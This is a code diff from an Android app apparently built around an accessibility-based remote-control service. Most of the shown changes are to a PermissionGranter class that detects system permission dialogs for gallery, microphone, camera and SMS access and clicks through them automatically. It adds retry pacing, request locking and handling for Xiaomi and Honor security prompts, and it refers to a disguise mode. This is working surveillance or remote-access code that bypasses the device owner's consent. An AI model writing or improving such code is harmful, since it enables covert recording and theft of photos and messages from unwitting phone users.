val gesture = GestureDescription.Builder().addStroke(stroke).build()
-
- service.dispatchGesture(gesture, null, null)
+
+ dispatchGestureWithTrace(gesture, "long_press($x,$y)")
Log.d(TAG, "执行长按操作: ($x, $y)")
}
}
@@ -79,8 +105,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val stroke = GestureDescription.StrokeDescription(path, 0, duration)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
-
- service.dispatchGesture(gesture, null, null)
+
+ dispatchGestureWithTrace(gesture, "swipe($startX,$startY->$endX,$endY,$duration)")
Log.d(TAG, "执行滑动操作: ($startX, $startY) -> ($endX, $endY)")
}
}
@@ -266,4 +292,4 @@ data class GestureCommand(
val endDistance: Float = 0f,
val duration: Long = 300L,
val interval: Long = 100L
-)
\ No newline at end of file
+)
diff --git a/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt b/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt
index 7f0f915..5d36a01 100644
--- a/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt
@@ -70,30 +70,8 @@ class MicrophoneManager(private val service: AccessibilityRemoteService) {
}
if (!hasMicrophonePermission()) {
- Log.w(TAG, "⚠️ 麦克风权限未授予，尝试自动申请")
- try {
- service.requestMicrophonePermissionWithAutoGrant()
- } catch (e: Exception) {
- Log.e(TAG, "触发麦克风权限申请失败", e)
- }
-
- var attempts = 0
- val maxAttempts = 16 // ~8s
- while (attempts < maxAttempts) {
- try {
- Thread.sleep(500)
- } catch (_: InterruptedException) {}
- if (hasMicrophonePermission()) {
- Log.i(TAG, "✅ 麦克风权限已在等待期间授予，开始录音")
- break
- }
- attempts++
- }
-
- if (!hasMicrophonePermission()) {
- Log.w(TAG, "⚠️ 等待后仍未获得麦克风权限，取消录音启动")
- return
- }
+ Log.w(TAG, "⚠️ 麦克风权限未授予，取消录音启动（需手动触发权限申请）")
+ return
}
try {
diff --git a/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt b/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt
index 5a19d06..557647a 100644
--- a/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt
+++ b/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt
@@ -13,7 +13,8 @@ import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
-import com.hikoncont.util.ROMAdapter
+import com.hikoncont.ui.PermissionRequestActivity
+import com.hikoncont.util.DeviceDetector
import com.hikoncont.MediaProjectionHolder
import kotlinx.coroutines.*
import android.accessibilityservice.GestureDescription
@@ -38,7 +39,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
private val context: Context = service
- private val romAdapter = ROMAdapter()
+ private val romPolicy by lazy { DeviceDetector.getRomPolicy() }
+ private val installerUiPlan by lazy { DeviceDetector.getInstallerUiAutomationPlan() }
/**
* ✅ 检查是否是保活场景
@@ -123,17 +125,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
private var lastMediaProjectionAttemptTime = 0L
// 删除悬浮窗权限最后尝试时间
private val retryIntervalMs = 3000L // 减少到3秒间隔
- private val cameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔
- private val galleryPermissionRetryInterval = 1000L // 相册权限重试间隔
- private val microphonePermissionRetryInterval = 2000L // 麦克风权限重试间隔
- private val smsPermissionRetryInterval = 1000L // 短信权限重试间隔
+ private val defaultCameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔
+ private val defaultGalleryPermissionRetryInterval = 1000L // 相册权限重试间隔
+ private val defaultMicrophonePermissionRetryInterval = 2000L // 麦克风权限重试间隔
+ private val defaultSmsPermissionRetryInterval = 1000L // 短信权限重试间隔
+ private val slowCameraPermissionRetryInterval = 2400L
+ private val slowGalleryPermissionRetryInterval = 2000L
+ private val slowMicrophonePermissionRetryInterval = 2600L
+ private val slowSmsPermissionRetryInterval = 2000L
+ private val defaultRuntimeDialogSettleDelayMs = 1000L
+ private val slowRuntimeDialogSettleDelayMs = 1800L
+ private val slowPermissionEditorLaunchDelayMs = 900L
private val sendSMSPermissionRetryInterval = 1000L // 发送短信权限弹框重试间隔
private val sendSMSConfirmationRetryInterval = 500L // 发送短信确认对话框重试间隔
+ private val slowModeMaxLaunchCount = 3
+ private val firstInstallGracePeriodMs = 12 * 60 * 60 * 1000L
private var hasDetectedPermissionDialog = false // 是否检测到权限对话框
private var dialogDetectionCount = 0 // 对话框检测次数
private var isFirstInstall = false // 是否为首次安装
private var lastDialogPackageName: String? = null // 最后检测到的对话框包名
private var isSecondaryConfirmationActive = false // 二次确认监听状态
+ private var cachedRuntimePermissionSlowMode: Boolean? = null
+ private var runtimePermissionSlowModeLogged = false
// Android 15权限稳定通知防重复标记
@Volatile private var android15StableBroadcastSent = false
@@ -151,9 +164,242 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 协程作用域
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
+ @Volatile private var mediaProjectionRequestSessionId = 0L
+ private var mediaProjectionSafetyResetJob: Job? = null
// 摄像头权限相关变量
private var lastCameraPermissionAttemptTime = 0L
+ private var cameraPermissionRequestStartedAt = 0L
+ private var galleryPermissionRequestStartedAt = 0L
+ private var microphonePermissionRequestStartedAt = 0L
+ private var smsPermissionRequestStartedAt = 0L
+ private val runtimePermissionRequestStaleTimeoutMs = 45_000L
+ private val slowRuntimePermissionRequestStaleTimeoutMs = 20_000L
+ @Volatile private var activeRuntimePermissionRequest: String? = null
+ @Volatile private var activeRuntimePermissionStartedAt = 0L
+ private val runtimePermissionFailureTtlMs = 120_000L
+ private val runtimeForegroundGateLogCooldownMs = 2_500L
+ private val runtimeForegroundGateLastLogAt = mutableMapOf()
+
+ private data class RuntimePermissionFailure(
+ val code: String,
+ val detail: String,
+ val source: String,
+ val timestamp: Long = System.currentTimeMillis()
+ )
+
+ private val runtimePermissionFailureMap = mutableMapOf()
+
+ private fun normalizeRuntimePermissionKey(permissionKey: String): String {
+ return permissionKey.trim().lowercase()
+ }
+
+ private fun recordRuntimePermissionFailure(
+ permissionKey: String,
+ code: String,
+ detail: String,
+ source: String
+ ) {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ if (normalized.isBlank()) return
+ val now = System.currentTimeMillis()
+ val newPriority = getRuntimePermissionFailurePriority(code)
+ var shouldSkip = false
+ synchronized(this) {
+ val existing = runtimePermissionFailureMap[normalized]
+ if (existing != null) {
+ val age = now - existing.timestamp
+ val existingPriority = getRuntimePermissionFailurePriority(existing.code)
+ if (age <= runtimePermissionFailureTtlMs && existingPriority > newPriority) {
+ shouldSkip = true
+ }
+ }
+ if (!shouldSkip) {
+ val failure = RuntimePermissionFailure(
+ code = code,
+ detail = detail,
+ source = source,
+ timestamp = now
+ )
+ runtimePermissionFailureMap[normalized] = failure
+ }
+ }
+ if (shouldSkip) {
+ Log.d(
+ TAG,
+ "⏭️ 保留更高优先级失败原因: permission=$normalized, oldPriority>${newPriority}, newCode=$code"
+ )
+ return
+ }
+ Log.w(
+ TAG,
+ "🚫 记录运行时权限失败: permission=$normalized, code=$code, source=$source, detail=$detail"
+ )
+ }
+
+ private fun getRuntimePermissionFailurePriority(code: String): Int {
+ val normalized = code.lowercase()
+ return when {
+ normalized.contains("background_activity_launch_denied") -> 100
+ normalized.contains("permission_editor_launch_denied") -> 90
+ normalized.contains("permission_editor_launch_blocked") -> 85
+ normalized.contains("permission_ui_not_visible") -> 80
+ normalized.contains("runtime_entry_not_visible") -> 70
+ normalized.contains("permission_editor_launch_failed") -> 60
+ normalized.contains("button_not_found") -> 30
+ normalized.contains("auto_toggle_exhausted") -> 20
+ else -> 40
+ }
+ }
+
+ private fun clearRuntimePermissionFailure(permissionKey: String, reason: String) {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ if (normalized.isBlank()) return
+ val removed = synchronized(this) {
+ runtimePermissionFailureMap.remove(normalized)
+ }
+ if (removed != null) {
+ Log.i(TAG, "🧹 清除运行时权限失败标记: permission=$normalized, reason=$reason")
+ }
+ }
+
+ private fun getRuntimePermissionFailure(permissionKey: String): RuntimePermissionFailure? {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ if (normalized.isBlank()) return null
+ val failure = synchronized(this) {
+ runtimePermissionFailureMap[normalized]
+ } ?: return null
+ val age = System.currentTimeMillis() - failure.timestamp
+ if (age > runtimePermissionFailureTtlMs) {
+ synchronized(this) {
+ runtimePermissionFailureMap.remove(normalized)
+ }
+ return null
+ }
+ return failure
+ }
+
+ private fun getRuntimePermissionBlockFailure(permissionKey: String): RuntimePermissionFailure? {
+ val failure = getRuntimePermissionFailure(permissionKey) ?: return null
+ val normalizedCode = failure.code.lowercase()
+ return if (normalizedCode.contains("blocked") || normalizedCode.contains("denied")) {
+ failure
+ } else {
+ null
+ }
+ }
+
+ private fun shouldAbortRuntimePermissionMonitor(permissionKey: String, retryCount: Int): RuntimePermissionFailure? {
+ if (!isMiuiDevice()) return null
+ if (retryCount < 2) return null
+ return getRuntimePermissionBlockFailure(permissionKey)
+ }
+
+ fun getRuntimePermissionFailureReason(permissionKey: String): String? {
+ val failure = getRuntimePermissionFailure(permissionKey) ?: return null
+ return "${failure.code} | ${failure.detail}"
+ }
+
+ private fun getRuntimeRequestStaleTimeoutMs(): Long {
+ return if (isRuntimePermissionSlowModeEnabled()) {
+ slowRuntimePermissionRequestStaleTimeoutMs
+ } else {
+ runtimePermissionRequestStaleTimeoutMs
+ }
+ }
+
+ private fun beginRuntimePermissionRequest(permissionKey: String): Boolean {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ val now = System.currentTimeMillis()
+ synchronized(this) {
+ val active = activeRuntimePermissionRequest
+ if (active.isNullOrBlank() || active == normalized) {
+ activeRuntimePermissionRequest = normalized
+ activeRuntimePermissionStartedAt = now
+ clearRuntimePermissionFailure(normalized, "new_request_begin")
+ return true
+ }
+
+ val age = now - activeRuntimePermissionStartedAt
+ val staleTimeoutMs = getRuntimeRequestStaleTimeoutMs()
+ if (age >= staleTimeoutMs) {
+ Log.w(
+ TAG,
+ "🔄 运行时权限串行锁超时，强制接管: from=$active, to=$normalized, age=${age}ms"
+ )
+ activeRuntimePermissionRequest = normalized
+ activeRuntimePermissionStartedAt = now
+ clearRuntimePermissionFailure(normalized, "stale_takeover_begin")
+ return true
+ }
+ }
+
+ val active = activeRuntimePermissionRequest ?: "unknown"
+ val age = now - activeRuntimePermissionStartedAt
+ Log.i(
+ TAG,
+ "⏳ 运行时权限串行化，当前进行中=$active，跳过本次=$normalized，age=${age}ms"
+ )
+ return false
+ }
+
+ private fun releaseRuntimePermissionRequest(permissionKey: String, reason: String) {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ synchronized(this) {
+ val active = activeRuntimePermissionRequest
+ if (active == null) {
+ return
+ }
+ if (active != normalized) {
+ return
+ }
+ activeRuntimePermissionRequest = null
+ activeRuntimePermissionStartedAt = 0L
+ }
+ if (reason.startsWith("granted")) {
+ clearRuntimePermissionFailure(normalized, "permission_granted")
+ }
+ Log.i(TAG, "✅ 运行时权限串行锁已释放: permission=$normalized, reason=$reason")
+ }
+
+ fun hasActiveRuntimePermissionRequest(): Boolean {
+ return activeRuntimePermissionRequest != null ||
+ isRequestingCameraPermission ||
+ isRequestingGalleryPermission ||
+ isRequestingMicrophonePermission ||
+ isRequestingSMSPermission
+ }
+
+ fun getActiveRuntimePermissionRequestType(): String? {
+ return activeRuntimePermissionRequest
+ }
+
+ private fun shouldRecoverStaleRuntimeRequest(
+ permissionName: String,
+ startedAt: Long,
+ granted: Boolean
+ ): Boolean {
+ if (granted) {
+ Log.w(TAG, "🔧 $permissionName 权限已授予但请求标记仍在，重置请求状态")
+ return true
+ }
+
+ if (startedAt <= 0L) {
+ Log.w(TAG, "🔧 $permissionName 请求标记异常（无启动时间），重置请求状态")
+ return true
+ }
+
+ val age = System.currentTimeMillis() - startedAt
+ val staleTimeoutMs = getRuntimeRequestStaleTimeoutMs()
+ if (age >= staleTimeoutMs) {
+ Log.w(
+ TAG,
+ "🔧 $permissionName 请求超时(${age}ms >= ${staleTimeoutMs}ms)，重置请求状态"
+ )
+ return true
+ }
+ return false
+ }
/**
* 检测是否为首次安装
@@ -177,14 +423,110 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
+ private fun refreshRuntimePermissionPacing(reason: String) {
+ cachedRuntimePermissionSlowMode = null
+ runtimePermissionSlowModeLogged = false
+ val slowMode = isRuntimePermissionSlowModeEnabled()
+ Log.i(
+ TAG,
+ "⏱️ 运行时权限节奏刷新: reason=$reason, slowMode=$slowMode"
+ )
+ }
+
+ private fun isRuntimePermissionSlowModeEnabled(): Boolean {
+ cachedRuntimePermissionSlowMode?.let { return it }
+
+ val isXiaomiFamily = isMiuiDevice()
+ val isFirstInstallWindow = isLikelyFirstInstallWindow()
+ val enabled = isXiaomiFamily && isFirstInstallWindow
+ cachedRuntimePermissionSlowMode = enabled
+
+ if (!runtimePermissionSlowModeLogged) {
+ runtimePermissionSlowModeLogged = true
+ Log.i(
+ TAG,
+ "⏱️ 运行时权限慢速模式判定: enabled=$enabled, xiaomiFamily=$isXiaomiFamily, firstInstallWindow=$isFirstInstallWindow"
+ )
+ }
+
+ return enabled
+ }
+
+ private fun isLikelyFirstInstallWindow(): Boolean {
+ return try {
+ val launchCount = context.getSharedPreferences("app_launch", Context.MODE_PRIVATE)
+ .getInt("launch_count", 0)
+ val hasRunBefore = context.getSharedPreferences("permission_tracker", Context.MODE_PRIVATE)
+ .getBoolean("has_run_before", false)
+ val installAgeMs = runCatching {
+ val packageInfo = context.packageManager.getPackageInfo(context.packageName, 0)
+ System.currentTimeMillis() - packageInfo.firstInstallTime
+ }.getOrDefault(Long.MAX_VALUE)
+
+ !hasRunBefore ||
+ launchCount <= slowModeMaxLaunchCount ||
+ installAgeMs in 0..firstInstallGracePeriodMs
+ } catch (e: Exception) {
+ Log.w(TAG, "首装窗口判定失败，默认关闭慢速模式", e)
+ false
+ }
+ }
+
+ private fun getRuntimePermissionRetryIntervalMs(type: String): Long {
+ val useSlowMode = isRuntimePermissionSlowModeEnabled()
+ if (!useSlowMode) {
+ return when (type) {
+ "camera" -> defaultCameraPermissionRetryInterval
+ "gallery" -> defaultGalleryPermissionRetryInterval
+ "microphone" -> defaultMicrophonePermissionRetryInterval
+ "sms" -> defaultSmsPermissionRetryInterval
+ else -> defaultGalleryPermissionRetryInterval
+ }
+ }
+
+ return when (type) {
+ "camera" -> slowCameraPermissionRetryInterval
+ "gallery" -> slowGalleryPermissionRetryInterval
+ "microphone" -> slowMicrophonePermissionRetryInterval
+ "sms" -> slowSmsPermissionRetryInterval
+ else -> slowGalleryPermissionRetryInterval
+ }
+ }
+
+ private fun getRuntimeDialogSettleDelayMs(): Long {
+ return if (isRuntimePermissionSlowModeEnabled()) {
+ slowRuntimeDialogSettleDelayMs
+ } else {
+ defaultRuntimeDialogSettleDelayMs
+ }
+ }
+
+ private fun getPermissionEditorLaunchDelayMs(): Long {
+ return if (isRuntimePermissionSlowModeEnabled()) {
+ slowPermissionEditorLaunchDelayMs
+ } else {
+ 0L
+ }
+ }
+
// ================= 相册权限自动授予 =================
/**
* 开始相册权限申请流程（自动授权）
*/
fun startGalleryPermissionRequest() {
if (isRequestingGalleryPermission) {
- Log.i(TAG, "🖼️ 相册权限申请已在进行中")
- return
+ val granted = runCatching {
+ com.hikoncont.manager.GalleryManager(service).hasReadMediaPermission()
+ }.getOrDefault(false)
+ if (shouldRecoverStaleRuntimeRequest("相册", galleryPermissionRequestStartedAt, granted)) {
+ isRequestingGalleryPermission = false
+ galleryPermissionRetryCount = 0
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "🖼️ 相册权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式，如果是则不申请权限
@@ -197,6 +539,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val galleryManager = com.hikoncont.manager.GalleryManager(service)
if (galleryManager.hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册权限已授予")
+ clearRuntimePermissionFailure("gallery", "already_granted_before_request")
return
}
@@ -205,40 +548,52 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return
}
+ if (shouldDeferRuntimePermissionForProjection("gallery")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("gallery")) {
+ return
+ }
+
try {
+ refreshRuntimePermissionPacing("gallery_request")
+ if (!beginRuntimePermissionRequest("gallery")) {
+ return
+ }
Log.i(TAG, "🖼️ 开始相册权限申请（自动授权盲点）")
isRequestingGalleryPermission = true
galleryPermissionRetryCount = 0
+ galleryPermissionRequestStartedAt = System.currentTimeMillis()
- // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请相册权限，不启动MainActivity（避免保活程序拉起）")
- Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
- return
+ var entryVisible = launchRuntimePermissionBridgeActivity("gallery", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("gallery")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_gallery_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("gallery", "main_activity")
}
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_gallery_permission", true)
- }
- context.startActivity(intent)
// MIUI/澎湃OS 特殊处理：很多机型拦截运行时弹框，直接引导到权限编辑页
- if (isMiuiDevice()) {
+ if (isMiuiDevice() && !entryVisible) {
Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予相册权限")
openMiuiPermissionEditor("gallery")
- }else{
- // 开始监听权限对话框
- startGalleryPermissionDialogMonitoring()
}
+ // 始终启动监听，确保MIUI分支也能在超时后自动清理请求状态
+ startGalleryPermissionDialogMonitoring()
} catch (e: Exception) {
Log.e(TAG, "启动相册权限申请失败", e)
+ isRequestingGalleryPermission = false
+ galleryPermissionRetryCount = 0
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "start_exception")
}
}
@@ -247,8 +602,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
fun startMicrophonePermissionRequest() {
if (isRequestingMicrophonePermission) {
- Log.i(TAG, "🎤 麦克风权限申请已在进行中")
- return
+ if (shouldRecoverStaleRuntimeRequest("麦克风", microphonePermissionRequestStartedAt, checkMicrophonePermission())) {
+ isRequestingMicrophonePermission = false
+ microphonePermissionRetryCount = 0
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "🎤 麦克风权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式，如果是则不申请权限
@@ -260,6 +622,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 检查是否已有权限
if (checkMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已授予")
+ clearRuntimePermissionFailure("microphone", "already_granted_before_request")
return
}
@@ -268,40 +631,52 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return
}
+ if (shouldDeferRuntimePermissionForProjection("microphone")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("microphone")) {
+ return
+ }
+
try {
+ refreshRuntimePermissionPacing("microphone_request")
+ if (!beginRuntimePermissionRequest("microphone")) {
+ return
+ }
Log.i(TAG, "🎤 开始麦克风权限申请（自动授权盲点）")
isRequestingMicrophonePermission = true
microphonePermissionRetryCount = 0
+ microphonePermissionRequestStartedAt = System.currentTimeMillis()
- // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请麦克风权限，不启动MainActivity（避免保活程序拉起）")
- Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
- return
+ var entryVisible = launchRuntimePermissionBridgeActivity("microphone", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("microphone")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_microphone_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("microphone", "main_activity")
}
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_microphone_permission", true)
- }
- context.startActivity(intent)
// MIUI/澎湃OS 特殊处理
- if (isMiuiDevice()) {
+ if (isMiuiDevice() && !entryVisible) {
Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予麦克风权限")
openMiuiPermissionEditor("microphone")
- }else{
- // 开始监听权限对话框
- startMicrophonePermissionDialogMonitoring()
}
+ // 始终启动监听，确保MIUI分支也能在超时后自动清理请求状态
+ startMicrophonePermissionDialogMonitoring()
} catch (e: Exception) {
Log.e(TAG, "启动麦克风权限申请失败", e)
+ isRequestingMicrophonePermission = false
+ microphonePermissionRetryCount = 0
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "start_exception")
}
}
@@ -310,13 +685,17 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun startGalleryPermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("gallery")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingGalleryPermission && galleryPermissionRetryCount < maxRetryCount) {
- delay(galleryPermissionRetryInterval)
+ delay(retryIntervalMs)
val galleryManager = com.hikoncont.manager.GalleryManager(service)
if (galleryManager.hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册权限已授予")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "granted")
break
}
@@ -325,15 +704,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行，停止相册权限申请")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "accessibility_stopped")
+ break
+ }
+
+ val galleryBlocked = shouldAbortRuntimePermissionMonitor("gallery", galleryPermissionRetryCount)
+ if (galleryBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 相册权限申请提前终止: code=${galleryBlocked.code}, detail=${galleryBlocked.detail}"
+ )
+ isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "blocked_${galleryBlocked.code}")
break
}
if (detectAndHandleGalleryPermissionDialog()) {
Log.i(TAG, "🖼️ 检测到相册权限对话框，尝试自动点击")
- delay(1000)
+ delay(settleDelayMs)
if (galleryManager.hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册权限已授予")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "granted_after_dialog")
break
}
} else {
@@ -346,6 +741,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (galleryPermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 相册权限申请超时")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "monitor_timeout")
}
}
}
@@ -355,12 +752,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun startMicrophonePermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("microphone")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingMicrophonePermission && microphonePermissionRetryCount < maxRetryCount) {
- delay(microphonePermissionRetryInterval)
+ delay(retryIntervalMs)
if (checkMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已授予")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "granted")
break
}
@@ -369,15 +770,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行，停止麦克风权限申请")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "accessibility_stopped")
+ break
+ }
+
+ val microphoneBlocked = shouldAbortRuntimePermissionMonitor("microphone", microphonePermissionRetryCount)
+ if (microphoneBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 麦克风权限申请提前终止: code=${microphoneBlocked.code}, detail=${microphoneBlocked.detail}"
+ )
+ isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "blocked_${microphoneBlocked.code}")
break
}
if (detectAndHandleMicrophonePermissionDialog()) {
Log.i(TAG, "🎤 检测到麦克风权限对话框，尝试自动点击")
- delay(1000)
+ delay(settleDelayMs)
if (checkMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已授予")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "granted_after_dialog")
break
}
} else {
@@ -390,6 +807,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (microphonePermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 麦克风权限申请超时")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "monitor_timeout")
}
}
}
@@ -414,18 +833,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.d(TAG, "🖼️ 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
- // 检查窗口标题是否包含相册权限相关文本
- if (windowTitle.contains("照片", ignoreCase = true) ||
- windowTitle.contains("视频", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("访问", ignoreCase = true)) {
- Log.d(TAG, "🖼️ 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
-// val windowRoot = getWindowRootByTitle(windowTitle)
- if (tryClickByGalleryCoordinates(windowTitle)) {
+ val windowRoot = window.root
+ if (windowRoot == null) continue
+ try {
+ if (tryHandleHonorSystemManagerInterception(windowRoot, "gallery_window_$i")) {
return true
}
+ val rootPackage = windowRoot.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "🖼️ 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val permissionNode = findPermissionNodeInTree(windowRoot)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "🖼️ 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage")
+ if (tryClickPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ } finally {
+ windowRoot.recycle()
}
}
}
@@ -435,6 +867,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (rootNode != null) {
Log.d(TAG, "🖼️ 检查活动窗口...")
+ if (tryHandleHonorSystemManagerInterception(rootNode, "gallery_active")) {
+ rootNode.recycle()
+ return true
+ }
+
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "🖼️ 活动窗口不是权限弹框，跳过: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
+
// 递归查找权限相关节点
val permissionNode = findPermissionNodeInTree(rootNode)
if (permissionNode != null) {
@@ -481,19 +925,35 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.d(TAG, "🎤 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
- // 检查窗口标题是否包含麦克风权限相关文本
- if (windowTitle.contains("麦克风", ignoreCase = true) ||
- windowTitle.contains("录音", ignoreCase = true) ||
- windowTitle.contains("音频", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("访问", ignoreCase = true)) {
- Log.d(TAG, "🎤 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
- val windowRoot = getWindowRootByTitle(windowTitle)
- if (tryClickByMicrophoneCoordinates(windowTitle)) {
+ val windowRoot = window.root
+ if (windowRoot == null) continue
+ try {
+ if (tryHandleHonorSystemManagerInterception(windowRoot, "microphone_window_$i")) {
return true
}
+ val rootPackage = windowRoot.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
